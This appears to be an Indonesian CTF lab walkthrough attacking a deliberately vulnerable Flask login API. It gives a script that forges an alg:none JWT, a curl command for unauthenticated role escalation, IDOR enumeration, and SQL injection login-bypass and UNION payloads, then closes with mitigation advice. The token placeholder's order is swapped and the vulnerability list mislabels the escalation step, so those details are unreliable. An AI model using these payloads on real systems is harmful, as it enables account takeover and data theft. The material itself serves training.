TDCTF Academy Logo TDCTF ACADEMY

Lab #8 - Login API: JWT Manipulation

Target: http://loginapi.vuln.cybersecurity.or.id:8088/
Versi: Flask (Python 3.11), SQLite
Tools: curl, Python, jwt_tool (opsional)
Flag: đź”´ FLAG{JWT_N0n3_4tt4ck_M4st3r_2025}


Filosofi Serangan

JWT (JSON Web Token) adalah standar untuk autentikasi API modern. Tapi jika implementasinya salah, JWT bisa dimanipulasi dengan mudah.

Kerentanan yang dieksploitasi:

  1. Debug Endpoint - ekspos JWT secret + flag
  2. JWT alg: none - token palsu tanpa signature
  3. Privilege Escalation - ubah role user via SQL injection
  4. IDOR - lihat data user lain termasuk password
  5. Weak JWT Secret - secret mudah ditebak

️ Langkah 1: Discovery - Debug Endpoint

1.1. Temukan Endpoint

curl -s http://loginapi.vuln.cybersecurity.or.id:8088/debug

Output:

{
"flag": "FLAG{JWT_N0n3_4tt4ck_M4st3r_2025}",
"secret": "weak-secret-123",
"env": {"WERKZEUG_RUN_MAIN": "true", ...},
"cwd": "/app"
}

âś… Flag langsung didapat! Tapi kita juga bisa eksploitasi JWT.


Langkah 2: JWT alg: none Attack

2.1. Analisis JWT

Server menerima JWT dengan algoritma none:

if header.get("alg") == "none":
payload = json.loads(base64.urlsafe_b64decode(payload_b64))
return jsonify({"claims": payload, "note": "unsigned token accepted"})

2.2. Forge Token

import json, base64

def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')

header = {"alg":"none","typ":"JWT"}
payload = {"user_id":1,"username":"admin","role":"admin"}

forged_token = f"{b64url(header)}.{b64url(payload)}."
print(forged_token)

2.3. Gunakan Token

curl -s "http://loginapi.vuln.cybersecurity.or.id:8088/api/profile?token=PAYLOAD_B64.HEADER_B64."

Output:

{
"claims": {"role":"admin","username":"admin","user_id":1},
"note": "unsigned token accepted"
}

âś… Forged token diterima! Kita bisa mengaku sebagai user mana pun.


Langkah 3: Privilege Escalation

3.1. Ubah Role via API

Endpoint /api/users/role memungkinkan siapa pun mengubah role tanpa autentikasi:

curl -s -X PUT -H "Content-Type: application/json" \
-d '{"username":"user2","role":"admin"}' \
"http://loginapi.vuln.cybersecurity.or.id:8088/api/users/role"

Output:

{"message": "role set to admin for user2"}

âś… Verifikasi:

curl -s http://loginapi.vuln.cybersecurity.or.id:8088/api/users/3

User dengan role user bisa di-escalate jadi admin - tanpa verifikasi!


️ Langkah 4: IDOR - Lihat Data User Lain

4.1. Tanpa Autentikasi

curl -s http://loginapi.vuln.cybersecurity.or.id:8088/api/users/1
curl -s http://loginapi.vuln.cybersecurity.or.id:8088/api/users/2
curl -s http://loginapi.vuln.cybersecurity.or.id:8088/api/users/3

Output:

{"id":1,"username":"admin","role":"admin","email":"[email protected]"}
{"id":2,"username":"user1","role":"user","email":"[email protected]"}
{"id":3,"username":"user2","role":"admin","email":"[email protected]"}

Semua data user bisa diakses hanya dengan ID numerik.


Langkah 5: SQL Injection di Login

5.1. Bypass Login

curl -s -X POST -H "Content-Type: application/json" \
-d '{"username":"admin'"'"' OR '"'"'1'"'"'='"'"'1","password":"x"}' \
"http://loginapi.vuln.cybersecurity.or.id:8088/api/login"

5.2. Ambil Data via UNION

curl -s -X POST -H "Content-Type: application/json" \
-d '{"username":"'"'"' UNION SELECT 1,flag,3,4 FROM secrets--","password":"x"}' \
"http://loginapi.vuln.cybersecurity.or.id:8088/api/login"

Kesimpulan

Target: Login API di http://loginapi.vuln.cybersecurity.or.id:8088/
Techniques: JWT alg:none, Privilege Escalation, Debug Leak, IDOR, SQLi
Flag: FLAG{JWT_N0n3_4tt4ck_M4st3r_2025}
Durasi: ~2 menit

Urutan serangan:

  1. ✅ Debug leak → flag + JWT secret langsung bocor
  2. ✅ JWT alg: none → forge token tanpa secret
  3. ✅ Privilege Escalation → user biasa jadi admin
  4. ✅ IDOR → lihat data user manapun

Cara Mitigasi

# ❌ JANGAN - menerima alg:none
header = jwt.get_unverified_header(token)
if header["alg"] == "none": accept()

# âś… HARUS - set algoritma yang diizinkan
jwt.decode(token, SECRET, algorithms=["HS256"])

# ❌ JANGAN - debug endpoint di production
@app.route("/debug") # HAPUS!

# âś… HARUS - autentikasi setiap endpoint
@app.route("/api/users/role", methods=["PUT"])
def set_role():
# Cek token dulu!
user = verify_token(request)
if not user or user["role"] != "admin":
return {"error": "unauthorized"}, 403

Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI